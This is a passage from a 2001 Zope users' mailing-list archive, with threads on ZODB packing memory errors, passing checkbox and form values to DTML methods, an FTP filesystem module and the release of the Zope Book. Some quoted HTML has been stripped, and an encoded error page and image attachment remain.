etc... Noone (including zope experts) will think : "haha, I need information about this, and I know Philippe Jadin have this information, I'll go to his member page". My conclusions? Zope.org should not be author-oriented, but content-oriented. This would make it lot easier to find information. I hope we (members) could be humble enough to add content to "purpose" pages, instead of our own page. I don't see zope.org as an hosting for member pages (I have my personnal site for this), but as a site with a complete, member-contributed documentation. All members efforts should not be put in *their* own personal homepage, but on the commonly available documentation. This does'nt prevent putting our name on each of our contributions of course;-) In this perspective, I see no use for dtml in pages beside as a learning tool. My $0.02 Philippe Jadin From Anthony Baxter Tue May 1 10:38:10 2001 From: Anthony Baxter (Anthony Baxter) Date: Tue, 01 May 2001 19:38:10 +1000 Subject: [Zope] FTP File System in Linux! In-Reply-To: Message from Stephane Bortzmeyer of "Wed, 14 Mar 2001 13:47:27 BST." <20010314124727.89984400D@ezili.sis.pasteur.fr> Message-ID: <200105010938.TAA05167@mbuna.arbhome.com.au> >>> Stephane Bortzmeyer wrote > On Tuesday 13 March 2001, at 8 h 39, the keyboard of "Christopher J. Kucera" > wrote: > > > Found this on Freshmeat this morning: > > http://ftpfs.sourceforge.net/ > > > > I thought it could possibly be of some import. Basically, it's a kernel > > module that allows you to mount an FTP session as if it were a filesystem. > > It works fine on my kernel 2.4.2. Warning: it is a bit rough (if you type the > wrong IP address when mouting, *nothing* will tell you, ls will just show > no files). there's now an 'ftpmount' utility for this. I've just tried it out on my machine, and against the oddball Zope version we're running, it's not able to do writes. I'm going to try against the latest-n-greatest zope 2.3 variant and see what I can see... Anthony From marcbpc@gmx.de Tue May 1 11:47:28 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Tue, 1 May 2001 12:47:28 +0200 Subject: [Zope] Source from form result. In-Reply-To: <019801c0d1b4$a0dc3b40$08b0403e@typhoon> Message-ID: Hi, I want to get the HTML result from a form into a dtml method. So I need a way to handle this result, but HOW. The form ist like this:
If I klick on submit, I get the result displayed in the Browser, but I cannot work with it. Perhaps someone could help me??? Thanx a lot ... Marc From pamm@students.si.fct.unl.pt Tue May 1 12:25:01 2001 From: pamm@students.si.fct.unl.pt (Paula Mangas) Date: Tue, 1 May 2001 12:25:01 +0100 (WEST) Subject: [Zope] Source from form result. In-Reply-To: Message-ID: On Tue, 1 May 2001, Marc Fischer wrote: > Hi, > > I want to get the HTML result from a form into a dtml method. So I need a > way to handle this result, but HOW. > > The form ist like this: > >
> > > > > > If I klick on submit, I get the result displayed in the Browser, but I > cannot work with it. > Perhaps someone could help me??? Hi, I think that, if you try
it will work. Paula From khine@bmpublications.co.uk Tue May 1 12:33:23 2001 From: khine@bmpublications.co.uk (Norman Khine) Date: Tue, 1 May 2001 12:33:23 +0100 Subject: [Zope] ERROR(200) ZODB FS FS21 Message-ID: My Zope server keeps on crashing everytime I try to pack the database with the following error: 2001-05-01T11:05:55 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000\034h', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000 \235', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000#_', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000#`', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000#\\', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000*R', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000*O', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000*P', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000*C', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000*D', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000*B', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000)\311', '') ------ 2001-05-01T11:05:59 ERROR(200) ZODB FS FS21 ERROR: Bad reference to ('\000\000\0 00\000\000\000)\312', '') ------ 2001-05-01T11:06:00 ERROR(200) ZODB packing Traceback (innermost last): File /usr/home/khine/usr/local/Zope/lib/python/ZODB/DB.py, line 532, in pack File /usr/home/khine/usr/local/Zope/lib/python/ZODB/FileStorage.py, line 1239, in pack (Object: /usr/home/khine/usr/local/Zope/var/Data.fs) MemoryError: My Setup Zope Version Zope 2.3.2b2 (source release, python 1.5.2, linux2) Python Version 2.0 (#2, Jan 8 2001, 16:54:34) [GCC 2.95.2 19991024 (release)] System Platform freebsd4 Any ideas Thanks ========================================= "Eternity is Time Time, eternity To see the two as opposite Is Man's Perversity" The Book of Angelus Silesius From Stefan Mallepell" Hi The Website (http://www.kisc.ch) which I was developing is now online (within time). This was only possible through the support of many of you. Thanks for a lot for this support! Stefan Mallepell a newbie ;) From chrism@digicool.com Tue May 1 12:34:41 2001 From: chrism@digicool.com (Chris McDonough) Date: Tue, 01 May 2001 07:34:41 -0400 Subject: [Zope] ERROR(200) ZODB FS FS21 References: Message-ID: <3AEE9F51.5D0C8C19@digicool.com> Norman Khine wrote: > > My Zope server keeps on crashing everytime I try to pack the database with > the following error: > ------ > 2001-05-01T11:06:00 ERROR(200) ZODB packing > Traceback (innermost last): > File /usr/home/khine/usr/local/Zope/lib/python/ZODB/DB.py, line 532, in > pack > File /usr/home/khine/usr/local/Zope/lib/python/ZODB/FileStorage.py, line > 1239, > in pack > (Object: /usr/home/khine/usr/local/Zope/var/Data.fs) > MemoryError: Norman, I've seen you post errors like this a few times. You've got a chronic out-of-memory problem. All of the questions you've posted have to do with the fact that your Zope process for whatever reason is running out of RAM. Why that is happening, I'm not certain, but I remember that there was a suspicion that your ISP had a size limit on your process. Were you able to confirm this? From marcbpc@gmx.de Tue May 1 12:43:05 2001 From: marcbpc@gmx.de (Marc Fischer) Date: Tue, 1 May 2001 13:43:05 +0200 Subject: AW: [Zope] Source from form result. In-Reply-To: Message-ID: Hi, I think there was an understanding problem. I want to get the source code of the result that is displayed in the browser, after klicking on the submit button. I want to be able to handle this source perhabs to create a dtmlmethod wiht it, or do some string extractions with it. > -----Ursprungliche Nachricht----- > Von: Paula Mangas [mailto:pamm@students.si.fct.unl.pt] > Gesendet: Dienstag, 1. Mai 2001 13:25 > An: Marc Fischer > Cc: zope@zope.org > Betreff: Re: [Zope] Source from form result. > > > On Tue, 1 May 2001, Marc Fischer wrote: > > > Hi, > > > > I want to get the HTML result from a form into a dtml method. > So I need a > > way to handle this result, but HOW. > > > > The form ist like this: > > > > > > > > > > > > > > > > If I klick on submit, I get the result displayed in the Browser, but I > > cannot work with it. > > Perhaps someone could help me??? > > > Hi, > > > I think that, if you try >
> > it will work. > > Paula > From Allen.Vailliencourt@channelmaxinc.com Tue May 1 13:19:30 2001 From: Allen.Vailliencourt@channelmaxinc.com (Allen.Vailliencourt@channelmaxinc.com) Date: Tue, 1 May 2001 08:19:30 -0400 Subject: [Zope] Re: [Zope-Annce] [ANNOUNCE] Zope Book Final Message-ID: Ah! That would figure after I spent 45 minutes yesterday printing and stapling all the html files for my offline reading. :( Oh well. Great work though! I'm enjoying going through it now. ~Allen Amos Latteier cc: Sent by: Subject: [Zope-Annce] [ANNOUNCE] Zope Book Final zope-announce-admi n@zope.org 04/30/2001 08:43 PM I'm happy to announce that the Zope Book is finished. http://www.zope.org/Members/michel/ZB You can read it online, or download it in HTML and PDF format. The book has been sent off to the publisher and you should be able to pick it up in stores within a month or two. I want to give a big thank you to everyone who has helped a long the way. Thanks! -Amos P.S. The book will continue to evolve as Zope grows and changes. This version of the book covers Zope 2.3. We will continue to improve the book and add new chapters to cover topics such as XML and Page Templates. If you want to be a part of this process take a look at the project page. http://www.zope.org/DocProjects/Book -- Amos Latteier mailto:amos@digicool.com Digital Creations http://www.digicool.com _______________________________________________ Zope-Announce maillist - Zope-Announce@zope.org http://lists.zope.org/mailman/listinfo/zope-announce Zope-Announce for Announcements only - no discussions (Related lists - Users: http://lists.zope.org/mailman/listinfo/zope Developers: http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Tue May 1 13:57:18 2001 From: chrism@digicool.com (Chris McDonough) Date: Tue, 1 May 2001 08:57:18 -0400 Subject: [Zope] ERROR(200) ZODB FS FS21 References: Message-ID: <001e01c0d23e$41851560$11be643f@kurtz> This depends on your application, but Zope likes lots of RAM. How much memory do you have available now? Take that number and double or triple it, and see it it works then. ----- Original Message ----- From: "Norman Khine" To: "Chris McDonough" Sent: Tuesday, May 01, 2001 7:53 AM Subject: RE: [Zope] ERROR(200) ZODB FS FS21 > Yes, Chris, they do have a limit the processes, but was told that I can > unlimit this and once I did this they would inform me if any processes hogh > too much memory by e-mail. Well I suppose the the issue is with my ISP -- > but can you tell me what sort of requirement do I need from my ISP to be > able to run ZOPE without any chronic out-of-memory problems > > Thanks again > > Norman > > > > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Chris > McDonough > Sent: Tuesday, May 01, 2001 12:35 PM > To: Norman Khine > Cc: Zope Mailing List > Subject: Re: [Zope] ERROR(200) ZODB FS FS21 > > > Norman Khine wrote: > > > > My Zope server keeps on crashing everytime I try to pack the database with > > the following error: > > > ------ > > 2001-05-01T11:06:00 ERROR(200) ZODB packing > > Traceback (innermost last): > > File /usr/home/khine/usr/local/Zope/lib/python/ZODB/DB.py, line 532, in > > pack > > File /usr/home/khine/usr/local/Zope/lib/python/ZODB/FileStorage.py, line > > 1239, > > in pack > > (Object: /usr/home/khine/usr/local/Zope/var/Data.fs) > > MemoryError: > > Norman, I've seen you post errors like this a few times. You've got a > chronic out-of-memory problem. All of the questions you've posted have > to do with the fact that your Zope process for whatever reason is > running out of RAM. Why that is happening, I'm not certain, but I > remember that there was a suspicion that your ISP had a size limit on > your process. Were you able to confirm this? > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > From gitte@mmmanager.org Tue May 1 14:02:13 2001 From: gitte@mmmanager.org (Gitte Wange) Date: Tue, 1 May 2001 15:02:13 +0200 Subject: [Zope] Passing the value of a checkbox from a form to a dtml-method Message-ID: <01050115021301.03952@squidbitch.mmmanager.org> Hello, I have a problem doing I have added a checkbox in a form, but when the submit button is hitted, the value of the checkbox isn't passed along to the receiving method. The checkbox code looks like this: Pretty normal I would say .. but perhaps someone out there have had my problem ? Regards, -- ************************ Gitte Wange Jensen System Squid Developer MMManager Aps +45 29 72 79 72 gitte@mmmanager.org ************************ From tim@freepm.org Tue May 1 14:17:20 2001 From: tim@freepm.org (Tim Cook) Date: Tue, 01 May 2001 08:17:20 -0500 Subject: [Zope] Passing the value of a checkbox from a form to a dtml-method References: <01050115021301.03952@squidbitch.mmmanager.org> Message-ID: <3AEEB760.53AF8FFC@iswt.com> Gitte Wange wrote: > > Hello, > > I have a problem doing > I have added a checkbox in a form, but when the submit button is hitted, the > value of the checkbox isn't passed along to the receiving method. > The checkbox code looks like this: > > > Pretty normal I would say .. but perhaps someone out there have had my > problem ? > I don't know exactly what problem you're having, but my guess is this will solve it. With checkboxes, the variable name does not exist in the REQUEST space unless the box is checked. So: ...do some stuff... ...do other stuff... Put this little method in your root folder and use it as an action in your forms to help troubleshoot these issues (and other REQUEST problems). --- show_request DTML Method------- ---------------------------------- HTH, -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From maxm@normik.dk Tue May 1 14:19:23 2001 From: maxm@normik.dk (=?iso-8859-1?Q?Max_M=F8ller_Rasmussen?=) Date: Tue, 1 May 2001 15:19:23 +0200 Subject: [Zope] Passing the value of a checkbox from a form to a dtml- method Message-ID: <7BD10B680501D411B9DF009027E06F32197CDD@exchange> > From: Gitte Wange [mailto:gitte@mmmanager.org] > value of the checkbox isn't passed along to the receiving method. > The checkbox code looks like this: > Perhaps you have forgotten the value it should have when checked? Furthermore if a checkbox isn't checked, no value will be send at all. Maybe it would be simpler to use a select? Then you will allways get a value.
[-]&dtml-title;
[+]&dtml-title;

Zope Error

Zope has encountered an error while publishing this = resource.

Error Type: AttributeError
Error = Value:=20 getProdToCatalog


Troubleshooting Suggestions

  • The URL may be incorrect.=20
  • The parameters passed to this resource may be incorrect.=20
  • A resource that this resource relies on may be encountering = an=20 error.

For more detailed information about the error, please refer to = the HTML=20 source for this page.

If the error persists please contact the site maintainer. Thank = you for=20 your patience.

3D"Powered

Traceback (innermost last):
  File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 222, =
in publish_module
  File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 187, =
in publish
  File /home/bobby/Zope-2.3/lib/python/Zope/__init__.py, line 221, in =
zpublisher_exception_hook
    (Object: Traversable)
  File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 171, =
in publish
  File /home/bobby/Zope-2.3/lib/python/ZPublisher/mapply.py, line 160, =
in mapply
    (Object: catalogProducts)
  File /home/bobby/Zope-2.3/lib/python/ZPublisher/Publish.py, line 112, =
in call_object
    (Object: catalogProducts)
  File /home/bobby/Zope-2.3/lib/python/Shared/DC/Scripts/Bindings.py, =
line 324, in __call__
    (Object: catalogProducts)
  File /home/bobby/Zope-2.3/lib/python/Shared/DC/Scripts/Bindings.py, =
line 353, in _bindAndExec
    (Object: catalogProducts)
  File =
/home/bobby/Zope-2.3/lib/python/Products/PythonScripts/PythonScript.py, =
line 330, in _exec
    (Object: catalogProducts)
    (Info: ({'script': <PythonScript instance at 88d81b0>, =
'context': <ZCatalog instance at 8d02630>, 'container': =
<ZCatalog instance at 8d02630>, 'traverse_subpath': []}, (), {}, =
None))
  File Script (Python), line 2, in catalogProducts
  File =
/home/bobby/Zope-2.3/lib/python/Products/PythonScripts/Guarded.py, line =
273, in __getattr__
  File =
/home/bobby/Zope-2.3/lib/python/Products/PythonScripts/Guarded.py, line =
143, in __careful_getattr__
    (Object: Traversable)
AttributeError: (see above)
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
 =
;
------=_NextPart_001_0039_01C0D2FC.66227660-- ------=_NextPart_000_0038_01C0D2FC.66227660 Content-Type: application/octet-stream; name="ZopeButton" Content-Transfer-Encoding: base64 Content-Location: http://192.168.1.99/p_/ZopeButton /9j/4AAQSkZJRgABAgEASABIAAD/7RBmUGhvdG9zaG9wIDMuMAA4QklNBAQAAAAAAAwcAgAAAgAC HAJ4AAA4QklNA+kAAAAAAHgAAwAAAEgASAAAAAAC2AIo/+H/4gL5AkYDRwUoA/wAAgAAAEgASAAA AAAC2AIoAAEAAABkAAAAAQADAwMAAAABJw8AAQABAAAAAAAAAAAAAAAAYAgAGQGQAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4QklNA+0AAAAAABAASAAAAAEAAQBIAAAAAQABOEJJTQPz AAAAAAAIAAAAAAAAAAA4QklNBAoAAAAAAAEAADhCSU0nEAAAAAAACgABAAAAAAAAAAI4QklNA/UA AAAAAEgAL2ZmAAEAbGZmAAYAAAAAAAEAL2ZmAAEAoZmaAAYAAAAAAAEAMgAAAAEAWgAAAAYAAAAA AAEANQAAAAEALQAAAAYAAAAAAAE4QklNA/gAAAAAAHAAAP////////////////////////////8D 6AAAAAD/////////////////////////////A+gAAAAA/////////////////////////////wPo AAAAAP////////////////////////////8D6AAAOEJJTQQIAAAAAAAQAAAAAQAAAkAAAAJAAAAA ADhCSU0ECQAAAAAOWgAAAAEAAACAAAAANwAAAYAAAFKAAAAOPgAYAAH/2P/gABBKRklGAAECAQBI AEgAAP/+ACdGaWxlIHdyaXR0ZW4gYnkgQWRvYmUgUGhvdG9zaG9wqCA0LjAA/+4ADkFkb2JlAGSA AAAAAf/bAIQADAgICAkIDAkJDBELCgsRFQ8MDA8VGBMTFRMTGBEMDAwMDAwRDAwMDAwMDAwMDAwM DAwMDAwMDAwMDAwMDAwMDAENCwsNDg0QDg4QFA4ODhQUDg4ODhQRDAwMDAwREQwMDAwMDBEMDAwM DAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM/8AAEQgANwCAAwEiAAIRAQMRAf/dAAQACP/EAT8AAAEF AQEBAQEBAAAAAAAAAAMAAQIEBQYHCAkKCwEAAQUBAQEBAQEAAAAAAAAAAQACAwQFBgcICQoLEAAB BAEDAgQCBQcGCAUDDDMBAAIRAwQhEjEFQVFhEyJxgTIGFJGhsUIjJBVSwWIzNHKC0UMHJZJT8OHx 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 SH6gbW+0Mhp+l9FbSjxYP5yM74biO0Z8OOEV08nymNXr/g+ovOdXqtP1l6XXivbj2enbseW7wPa8 u/R7mbt39ZS+sWP1Kv6tdZdlZbMiv9n5Q2Np9Mz6Nnu3+pYj9Uw+oHrWF1HFoGQzGY9r272sMvDm fn/11W+smX1Oz6udXZfgehUcDK3Wesx8foLY9jRu+knYwBkyWJgmdxr3OCuCH7v6tEiTGNV8uvy8 W5/wn//S636sfWHAp+rfSan1ZpdXhY7XFmBmPbLaq2nZbVivqsZ/wlb9j1fu+svR/TPr05vp99/T s3b/ANLDXzckkp9M+sNP+KfqmU+4dVs6fdPuZTi2NbP8qv7Gx3/TWRT0L/Fg183fWa97P3W4lrT/ AJzqLf8AqVxSSGidX3D6r9X/AMXWCRT0R78rJa2PUrwb7LiBMkux8Jr10n/OXp3+hz//AHHZ3/vG vmtJIV0Ub6v0p/zl6d/oc/8A9x2d/wC8aX/OXp3+hz//AHHZ3/vGvmtJFD9Kf85enf6HP/8Acdnf +8aX/OXp3+hz/wD3HZ3/ALxr5rSSU/Sn/OXp3+hz/wD3HZ3/ALxpf85enf6HP/8Acdnf+8a+a0kl P0p/zl6d/oc//wBx2d/7xpf85enf6HP/APcdnf8AvGvmtJJT9Kf85enf6HP/APcdnf8AvGs36z/W HAu+rfVqmVZodZhZDWl+BmMbLqrGjfbbisqrZ/wlj9jF8+pJKf/ZOEJJTQQGAAAAAAAHAAUAAAAB AQD//gAnRmlsZSB3cml0dGVuIGJ5IEFkb2JlIFBob3Rvc2hvcKggNC4wAP/uAA5BZG9iZQBkQAAA AAH/2wCEAAQDAwMDAwQDAwQGBAMEBgcFBAQFBwgGBgcGBggKCAkJCQkICgoMDAwMDAoMDAwMDAwM DAwMDAwMDAwMDAwMDAwBBAUFCAcIDwoKDxQODg4UFA4ODg4UEQwMDAwMEREMDAwMDAwRDAwMDAwM DAwMDAwMDAwMDAwMDAwMDAwMDAwMDP/AABEIADIAcwMBEQACEQEDEQH/3QAEAA//xAGiAAAABwEB AQEBAAAAAAAAAAAEBQMCBgEABwgJCgsBAAICAwEBAQEBAAAAAAAAAAEAAgMEBQYHCAkKCxAAAgED AwIEAgYHAwQCBgJzAQIDEQQABSESMUFRBhNhInGBFDKRoQcVsUIjwVLR4TMWYvAkcoLxJUM0U5Ki smNzwjVEJ5OjszYXVGR0w9LiCCaDCQoYGYSURUaktFbTVSga8uPzxNTk9GV1hZWltcXV5fVmdoaW prbG1ub2N0dXZ3eHl6e3x9fn9zhIWGh4iJiouMjY6PgpOUlZaXmJmam5ydnp+So6SlpqeoqaqrrK 2ur6EQACAgECAwUFBAUGBAgDA20BAAIRAwQhEjFBBVETYSIGcYGRMqGx8BTB0eEjQhVSYnLxMyQ0 Q4IWklMlomOywgdz0jXiRIMXVJMICQoYGSY2RRonZHRVN/Kjs8MoKdPj84SUpLTE1OT0ZXWFlaW1 xdXl9UZWZnaGlqa2xtbm9kdXZ3eHl6e3x9fn9zhIWGh4iJiouMjY6Pg5SVlpeYmZqbnJ2en5KjpK Wmp6ipqqusra6vr/2gAMAwEAAhEDEQA/APQ35Mfkx+T2qfk9+Xup6n+Xvlq91K98taNc3l5c6NYT TzTzWELySSSPCWZ2YlmZjVjucVebfm9+YH/OKn5aatL5Q0H8qvLnnTz/ABkrLomlaJpgitnHUXVy bdljI/aVVkdf21TLoYjI0ObVPIIi3g97581bVpWey/K38o/LEJ3js7vR7O6uQPB3oEJ91A+WbCOh l1oe8/8AEuDLWx6X8B/xSyx/NO40C5B1/wDJX8svNVgpAmXSNGtbW4psTxYpKlaV/YwT0EhuKP8A VP8AxSI66F0bHvH/ABL6R/JfzV/ziR+dEn6J038ufLOiecY1LT+W9T0LTI7k8RVjCwg4yqP8n46b si5r5YzF2EMgkHtf/KifyQ/8tp5U/wC4Fp3/AFQypsd/yon8kP8Ay2nlT/uBad/1QxV3/KifyQ/8 tp5U/wC4Fp3/AFQxV3/KifyQ/wDLaeVP+4Fp3/VDFXf8qJ/JD/y2nlT/ALgWnf8AVDFXf8qJ/JD/ AMtp5U/7gWnf9UMVd/yon8kP/LaeVP8AuBad/wBUMVd/yon8kP8Ay2nlT/uBad/1QxV3/KifyQ/8 tp5U/wC4Fp3/AFQxV4h/yqf8rP8AlaH6P/wP5f8AqH/Kyv0b9V/RVl6P1H/lW3176vw9Lj6X1n/S PTpw9f8Ae09T4sVf/9A8/M3899Y/L7/nHv8AKL8tvIVwIPzB83eUtFreqaPp+mfo6FHnUjdXchlj b9gJI4+NUy/DjM5ADmWjLkEASeQfO3lD8mLS8V4727u9Rec87tVleCGVzuS3pkOx67s/3Z0GPQwg PUSfsdJLVymdgPveiW/5SeRdFhY3ug27KoBZ5zI9AopUs7/fvlo02LoEeNkHMvKPPnmv8stBea08 v6XBcagoKqLfkkSuK0qykHY+GUZc+LCKHNYYJ5zdbd7zqw1jzFrc8WpabFMmuae6z2OqWxMU0EqH kpEwpSh7E/jmFxy1A+n1DkXJ8MaeX1ek8w/UX/nFH895vzn8jzW3mErH5+8sullr8a0X1gQRFdKo 6eoFYNTYOrfslc1mSFH8c3a45iQ2eOaT/wArOuPP/wCZf5jaPql4+g/lr5u8wahqtqdVvS99ptlY CaPSILAK8DLI4qHbj6dfgHKmVNqfP/zlP+Z1lpTaxPp2h6nY2fl7y1531eawtbxBa6TrdysN5ZEG 7lrcwpIJY5qqvGOTlbN+yqov/wA5e/mGfLHnjWovKlouo+T4pNWks5YLpR+h9XOnnQXk/f1Eskd5 